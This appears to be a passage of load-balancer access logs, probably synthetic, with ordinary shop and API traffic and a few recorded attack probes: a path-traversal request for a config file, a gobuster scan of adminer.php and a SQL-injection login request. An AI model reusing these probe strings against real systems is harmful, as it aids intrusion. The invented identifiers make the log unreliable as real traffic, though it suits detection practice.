(KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d153-38076af33cb9418ba7d8d493" "prod-api-alb.example.com" "-" 1 2024-11-01T01:49:55.589649Z "forward" "-" "-" "10.0.234.242:443" "301" "-" "-" -https 2024-11-01T01:49:57.403686Z prod-api-alb 219.38.185.179:22181 10.0.11.142:443 0.036517 0.267944 0.098797 404 404 929 7179 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d155-2c0c95b927c847d1bc8cc5fe" "prod-api-alb.example.com" "-" 5 2024-11-01T01:49:57.403686Z "forward" "-" "-" "10.0.11.142:443" "404" "-" "-" -https 2024-11-01T01:49:57.923042Z prod-web-alb 151.195.146.159:45679 10.0.9.135:443 0.027989 0.167267 0.074333 200 200 279 4547 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d155-f1d8a2dbefa44e5694f0d925" "prod-web-alb.example.com" "-" 0 2024-11-01T01:49:57.923042Z "forward" "-" "-" "10.0.9.135:443" "200" "-" "-" -http 2024-11-01T01:49:58.934824Z staging-alb 88.250.173.66:55131 19.68.99.183:443 0.003946 0.491098 0.146555 200 200 679 6630 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d156-89b63503c15d46b58beb5f77" "staging-alb.example.com" "-" 1 2024-11-01T01:49:58.934824Z "forward" "-" "-" "19.68.99.183:443" "200" "-" "-" -https 2024-11-01T01:50:00.915596Z prod-web-alb 185.181.34.255:11393 10.0.49.46:443 0.014569 0.338959 0.019130 403 403 606 7307 "GET /api/../../../config HTTP/1.1" "python-requests/2.31.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d158-52db0f62052c43f1aba96a16" "-" "-" 1 2024-11-01T01:50:00.915596Z "forward" "-" "-" "10.0.49.46:443" "403" "-" "-" -https 2024-11-01T01:50:02.469068Z staging-alb 227.38.6.238:14490 39.99.20.52:443 0.031666 0.739720 0.062320 301 301 487 8863 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d15a-d2d1387e81f64083911cb5ff" "staging-alb.example.com" "-" 1 2024-11-01T01:50:02.469068Z "forward" "-" "-" "39.99.20.52:443" "301" "-" "-" -https 2024-11-01T01:50:04.264857Z prod-web-alb 74.24.196.96:45271 10.0.185.134:443 0.022033 0.460430 0.076443 404 404 907 3441 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d15c-22afede9c61d4d52a0503dcc" "prod-web-alb.example.com" "-" 8 2024-11-01T01:50:04.264857Z "forward" "-" "-" "10.0.185.134:443" "404" "-" "-" -https 2024-11-01T01:50:05.355400Z prod-web-alb 241.4.244.161:33900 10.0.249.160:443 0.028461 0.253286 0.086463 200 200 70 9653 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d15d-ba6cbada98194b63b3d5fc9c" "prod-web-alb.example.com" "-" 10 2024-11-01T01:50:05.355400Z "forward" "-" "-" "10.0.249.160:443" "200" "-" "-" -https 2024-11-01T01:50:05.721088Z prod-web-alb 164.69.196.129:47432 10.0.133.13:443 0.041450 0.095708 0.083725 301 301 341 14756 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d15d-5bee2246c2594192b61803ff" "prod-web-alb.example.com" "-" 3 2024-11-01T01:50:05.721088Z "forward" "-" "-" "10.0.133.13:443" "301" "-" "-" -http 2024-11-01T01:50:05.897784Z staging-alb 93.56.181.210:30204 29.186.65.25:80 0.098337 0.041401 0.116377 404 404 920 6711 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d15d-3d88a1cc9dbc437bab663fb8" "staging-alb.example.com" "-" 4 2024-11-01T01:50:05.897784Z "forward" "-" "-" "29.186.65.25:80" "404" "-" "-" -https 2024-11-01T01:50:07.240277Z prod-web-alb 48.251.109.246:62249 10.0.238.159:443 0.086773 0.054814 0.069956 404 404 389 780 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d15f-2648531e06a04ea19a7040fe" "prod-web-alb.example.com" "-" 5 2024-11-01T01:50:07.240277Z "forward" "-" "-" "10.0.238.159:443" "404" "-" "-" -https 2024-11-01T01:50:08.771956Z staging-alb 63.38.78.26:60425 43.76.192.121:8080 0.048645 0.174116 0.048846 302 302 927 3574 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d160-e3e2ae1bc8f749e3916c4de2" "staging-alb.example.com" "-" 8 2024-11-01T01:50:08.771956Z "forward" "-" "-" "43.76.192.121:8080" "302" "-" "-" -http 2024-11-01T01:50:10.023477Z staging-alb 120.137.107.106:32269 174.52.192.134:443 0.120875 0.078619 0.141019 200 200 901 2344 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d162-b18b46215dc14e6a98f95a27" "staging-alb.example.com" "-" 4 2024-11-01T01:50:10.023477Z "forward" "-" "-" "174.52.192.134:443" "200" "-" "-" -https 2024-11-01T01:50:10.865793Z prod-web-alb 84.95.109.135:28075 10.0.23.240:443 0.007216 0.001748 0.056903 302 302 470 10228 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d162-c2c28146120a4af8ae92f973" "prod-web-alb.example.com" "-" 10 2024-11-01T01:50:10.865793Z "forward" "-" "-" "10.0.23.240:443" "302" "-" "-" -http 2024-11-01T01:50:11.565043Z staging-alb 190.126.205.44:63010 38.245.129.38:80 0.092319 0.514643 0.068627 302 302 164 5712 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d163-0fd298536ea6427e9793f85a" "staging-alb.example.com" "-" 7 2024-11-01T01:50:11.565043Z "forward" "-" "-" "38.245.129.38:80" "302" "-" "-" -https 2024-11-01T01:50:12.784263Z prod-api-alb 231.19.34.81:38929 10.0.188.26:443 0.007608 0.474757 0.029704 200 200 657 2590 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d164-47ff23c80ebf4ca99b1a8af7" "prod-api-alb.example.com" "-" 7 2024-11-01T01:50:12.784263Z "forward" "-" "-" "10.0.188.26:443" "200" "-" "-" -https 2024-11-01T01:50:14.421487Z prod-web-alb 81.235.116.147:33716 10.0.24.54:443 0.049672 0.334983 0.009607 200 200 819 13344 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d166-6f6f2696f9934a17a0f1ec51" "prod-web-alb.example.com" "-" 7 2024-11-01T01:50:14.421487Z "forward" "-" "-" "10.0.24.54:443" "200" "-" "-" -https 2024-11-01T01:50:15.084891Z prod-api-alb 6.153.255.215:47847 10.0.139.145:443 0.024153 0.454156 0.092423 200 200 361 11416 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d167-1a7a767463c940fd95dfc198" "prod-api-alb.example.com" "-" 0 2024-11-01T01:50:15.084891Z "forward" "-" "-" "10.0.139.145:443" "200" "-" "-" -https 2024-11-01T01:50:15.338615Z prod-api-alb 152.170.97.177:22631 10.0.181.41:443 0.075741 0.008619 0.085365 200 200 141 6336 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d167-9b8d952d3eac4b88bd29014c" "prod-api-alb.example.com" "-" 1 2024-11-01T01:50:15.338615Z "forward" "-" "-" "10.0.181.41:443" "200" "-" "-" -https 2024-11-01T01:50:15.502229Z prod-web-alb 198.146.116.253:23936 10.0.126.182:443 0.029051 0.164565 0.035374 200 200 161 6672 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d167-19e3541073564f5b94def979" "prod-web-alb.example.com" "-" 10 2024-11-01T01:50:15.502229Z "forward" "-" "-" "10.0.126.182:443" "200" "-" "-" -https 2024-11-01T01:50:16.171992Z prod-api-alb 109.59.74.163:12772 10.0.56.248:443 0.005001 0.325971 0.043246 200 200 633 6505 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d168-20c3b3edde114ff683f905a2" "prod-api-alb.example.com" "-" 6 2024-11-01T01:50:16.171992Z "forward" "-" "-" "10.0.56.248:443" "200" "-" "-" -https 2024-11-01T01:50:16.711721Z prod-api-alb 32.223.89.113:28896 10.0.125.201:443 0.085037 0.052613 0.060498 200 200 589 1963 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d168-5f312914c34e4649b0ee6378" "prod-api-alb.example.com" "-" 0 2024-11-01T01:50:16.711721Z "forward" "-" "-" "10.0.125.201:443" "200" "-" "-" -https 2024-11-01T01:50:17.860176Z staging-alb 212.139.7.249:26818 67.6.217.188:443 0.109934 0.627219 0.062187 200 200 947 4036 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d169-5e91657b506e492e9c650cd8" "staging-alb.example.com" "-" 10 2024-11-01T01:50:17.860176Z "forward" "-" "-" "67.6.217.188:443" "200" "-" "-" -https 2024-11-01T01:50:18.077233Z prod-api-alb 66.85.224.63:39229 10.0.111.21:443 0.070321 0.196289 0.028008 200 200 279 3143 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d16a-db836a0825384821b62f8e7f" "prod-api-alb.example.com" "-" 6 2024-11-01T01:50:18.077233Z "forward" "-" "-" "10.0.111.21:443" "200" "-" "-" -http 2024-11-01T01:50:18.243012Z staging-alb 239.236.238.9:15316 122.55.225.191:443 0.037020 0.120819 0.060014 200 200 991 14405 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d16a-028b0074cfe844ea95b342f3" "staging-alb.example.com" "-" 3 2024-11-01T01:50:18.243012Z "forward" "-" "-" "122.55.225.191:443" "200" "-" "-" -https 2024-11-01T01:50:19.676344Z prod-api-alb 148.164.76.171:21126 10.0.217.15:443 0.029057 0.170544 0.072507 200 200 789 13371 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d16b-b1ee341bfcfd47daac371b42" "prod-api-alb.example.com" "-" 6 2024-11-01T01:50:19.676344Z "forward" "-" "-" "10.0.217.15:443" "200" "-" "-" -https 2024-11-01T01:50:20.549168Z prod-web-alb 54.208.65.250:11355 10.0.165.160:443 0.051348 0.417019 0.019355 200 200 839 7951 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d16c-6fc9228a9402402197d1b6ed" "prod-web-alb.example.com" "-" 5 2024-11-01T01:50:20.549168Z "forward" "-" "-" "10.0.165.160:443" "200" "-" "-" -https 2024-11-01T01:50:21.180139Z prod-api-alb 215.95.163.220:18737 10.0.58.143:443 0.069270 0.212370 0.094423 302 302 528 847 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d16d-cb82c467c96542c88c5cc19b" "prod-api-alb.example.com" "-" 8 2024-11-01T01:50:21.180139Z "forward" "-" "-" "10.0.58.143:443" "302" "-" "-" -https 2024-11-01T01:50:22.757206Z staging-alb 131.72.102.210:41946 94.183.187.8:443 0.061375 0.104696 0.129021 301 301 983 12442 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d16e-9c2fc311c4234bbbad866e8b" "staging-alb.example.com" "-" 3 2024-11-01T01:50:22.757206Z "forward" "-" "-" "94.183.187.8:443" "301" "-" "-" -https 2024-11-01T01:50:23.828546Z prod-api-alb 127.137.71.159:22330 10.0.51.234:443 0.069634 0.400718 0.091293 301 301 928 3934 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d16f-f7766885d9644a35a9681dbf" "prod-api-alb.example.com" "-" 6 2024-11-01T01:50:23.828546Z "forward" "-" "-" "10.0.51.234:443" "301" "-" "-" -https 2024-11-01T01:50:25.018454Z prod-api-alb 222.17.234.155:61927 10.0.69.160:443 0.066217 0.168643 0.016298 404 404 181 1834 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d171-de5520178b554cf1b7a6dd15" "prod-api-alb.example.com" "-" 8 2024-11-01T01:50:25.018454Z "forward" "-" "-" "10.0.69.160:443" "404" "-" "-" -https 2024-11-01T01:50:26.635577Z prod-api-alb 192.68.115.211:20972 10.0.139.73:443 0.060511 0.447933 0.092329 200 200 861 2000 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d172-d91ac7d7673d451b8f24d8e8" "prod-api-alb.example.com" "-" 4 2024-11-01T01:50:26.635577Z "forward" "-" "-" "10.0.139.73:443" "200" "-" "-" -https 2024-11-01T01:50:27.107553Z staging-alb 22.174.152.93:64086 66.241.32.3:80 0.085021 0.388221 0.121603 200 200 383 13065 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d173-ef430678701148a9aa8da4c4" "-" "-" 7 2024-11-01T01:50:27.107553Z "forward" "-" "-" "66.241.32.3:80" "200" "-" "-" -http 2024-11-01T01:50:28.835742Z staging-alb 178.15.162.216:39217 35.166.227.118:443 0.122377 0.197671 0.077292 301 301 59 11563 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d174-d4f4297e60be492dbd7dde52" "staging-alb.example.com" "-" 8 2024-11-01T01:50:28.835742Z "forward" "-" "-" "35.166.227.118:443" "301" "-" "-" -https 2024-11-01T01:50:29.480679Z prod-web-alb 45.155.205.208:28219 10.0.31.6:443 0.001178 0.132540 0.078305 403 403 644 9399 "POST /adminer.php HTTP/1.1" "gobuster/3.5" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d175-58a442adecad4ae19b7b2864" "-" "-" 4 2024-11-01T01:50:29.480679Z "forward" "-" "-" "10.0.31.6:443" "403" "-" "-" -https 2024-11-01T01:50:30.439536Z prod-api-alb 76.101.135.54:21030 10.0.125.9:443 0.032282 0.340135 0.074905 200 200 111 6143 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d176-fe82fa63498045169b78b98a" "prod-api-alb.example.com" "-" 2 2024-11-01T01:50:30.439536Z "forward" "-" "-" "10.0.125.9:443" "200" "-" "-" -http 2024-11-01T01:50:31.966871Z staging-alb 47.167.254.116:11224 84.42.186.88:8080 0.024771 0.294707 0.041227 302 302 548 4383 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d177-05781f13e2624f7f8800eef7" "staging-alb.example.com" "-" 10 2024-11-01T01:50:31.966871Z "forward" "-" "-" "84.42.186.88:8080" "302" "-" "-" -https 2024-11-01T01:50:32.747848Z prod-web-alb 159.223.26.77:34702 10.0.117.81:443 0.074832 0.362663 0.069955 200 200 38 6474 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d178-3b1abb08314c433aa6c358e9" "prod-web-alb.example.com" "-" 5 2024-11-01T01:50:32.747848Z "forward" "-" "-" "10.0.117.81:443" "200" "-" "-" -http 2024-11-01T01:50:32.956577Z staging-alb 77.255.15.26:48341 0.81.235.67:80 0.077538 0.172292 0.012216 200 200 910 1429 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d178-07e2743eeb7a49b9b00fc000" "staging-alb.example.com" "-" 10 2024-11-01T01:50:32.956577Z "forward" "-" "-" "0.81.235.67:80" "200" "-" "-" -https 2024-11-01T01:50:34.003300Z staging-alb 145.16.243.183:27605 248.82.152.123:80 0.022545 0.479317 0.074663 200 200 959 14390 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d17a-5094a3d665664236a170192a" "staging-alb.example.com" "-" 0 2024-11-01T01:50:34.003300Z "forward" "-" "-" "248.82.152.123:80" "200" "-" "-" -https 2024-11-01T01:50:34.318880Z staging-alb 156.236.191.253:34835 166.211.193.193:443 0.081725 0.403116 0.104333 302 302 990 1183 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d17a-2dc7bc262a7049af9184a20d" "staging-alb.example.com" "-" 4 2024-11-01T01:50:34.318880Z "forward" "-" "-" "166.211.193.193:443" "302" "-" "-" -https 2024-11-01T01:50:35.598458Z prod-web-alb 45.155.205.164:45594 10.0.90.103:443 0.011960 0.101270 0.065033 200 200 677 5621 "POST /login?id=1'-- HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d17b-cfb71fc8a2ba4954bcb06306" "-" "-" 7 2024-11-01T01:50:35.598458Z "forward" "-" "-" "10.0.90.103:443" "200" "-" "-" -https 2024-11-01T01:50:36.626670Z prod-api-alb 15.75.234.179:29881 10.0.58.57:443 0.043482 0.136206 0.033493 200 200 971 12031 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d17c-ad6f6e3e3b9e4ce3b92989a3" "prod-api-alb.example.com" "-" 1 2024-11-01T01:50:36.626670Z "forward" "-" "-" "10.0.58.57:443" "200" "-" "-" -http 2024-11-01T01:50:38.013969Z staging-alb 88.219.59.79:24579 123.8.125.195:443 0.148772 0.362991 0.070826 200 200 28 1476 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d17e-08d65752c6024a2c8f43b45c" "staging-alb.example.com" "-" 9 2024-11-01T01:50:38.013969Z "forward" "-" "-" "123.8.125.195:443" "200" "-" "-" -https 2024-11-01T01:50:38.377899Z prod-web-alb 13.74.127.10:48387 10.0.245.42:443 0.047396 0.253795 0.007880 200 200 198 12658 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d17e-dc2026519a8242a9bf22171f" "prod-web-alb.example.com" "-" 9 2024-11-01T01:50:38.377899Z "forward" "-" "-" "10.0.245.42:443" "200" "-" "-" -https 2024-11-01T01:50:38.520344Z prod-api-alb 174.125.34.61:27035 10.0.81.73:443 0.074494 0.431663 0.048116 302 302 251 4940 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d17e-d5a3c6571e144cbaa78237ba" "-" "-" 8 2024-11-01T01:50:38.520344Z "forward" "-" "-" "10.0.81.73:443" "302" "-" "-" -https 2024-11-01T01:50:38.882594Z prod-web-alb 30.232.43.25:43574 10.0.164.44:443 0.037429 0.438238 0.087809 200 200 37 6749 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d17e-aee99d36fe734429b47fd8af" "prod-web-alb.example.com" "-" 4 2024-11-01T01:50:38.882594Z "forward" "-" "-" "10.0.164.44:443" "200" "-" "-" -https 2024-11-01T01:50:40.462796Z prod-web-alb 249.172.182.150:37922 10.0.219.192:443 0.012567 0.475706 0.070180 301 301 173 14805 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d180-8677176c07374b6fbfbbfe8a" "prod-web-alb.example.com" "-" 10 2024-11-01T01:50:40.462796Z "forward" "-" "-" "10.0.219.192:443" "301" "-" "-" -https 2024-11-01T01:50:40.837004Z prod-web-alb 208.17.98.233:32321 10.0.234.139:443 0.056996 0.446138 0.018883 302 302 64 9529 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) 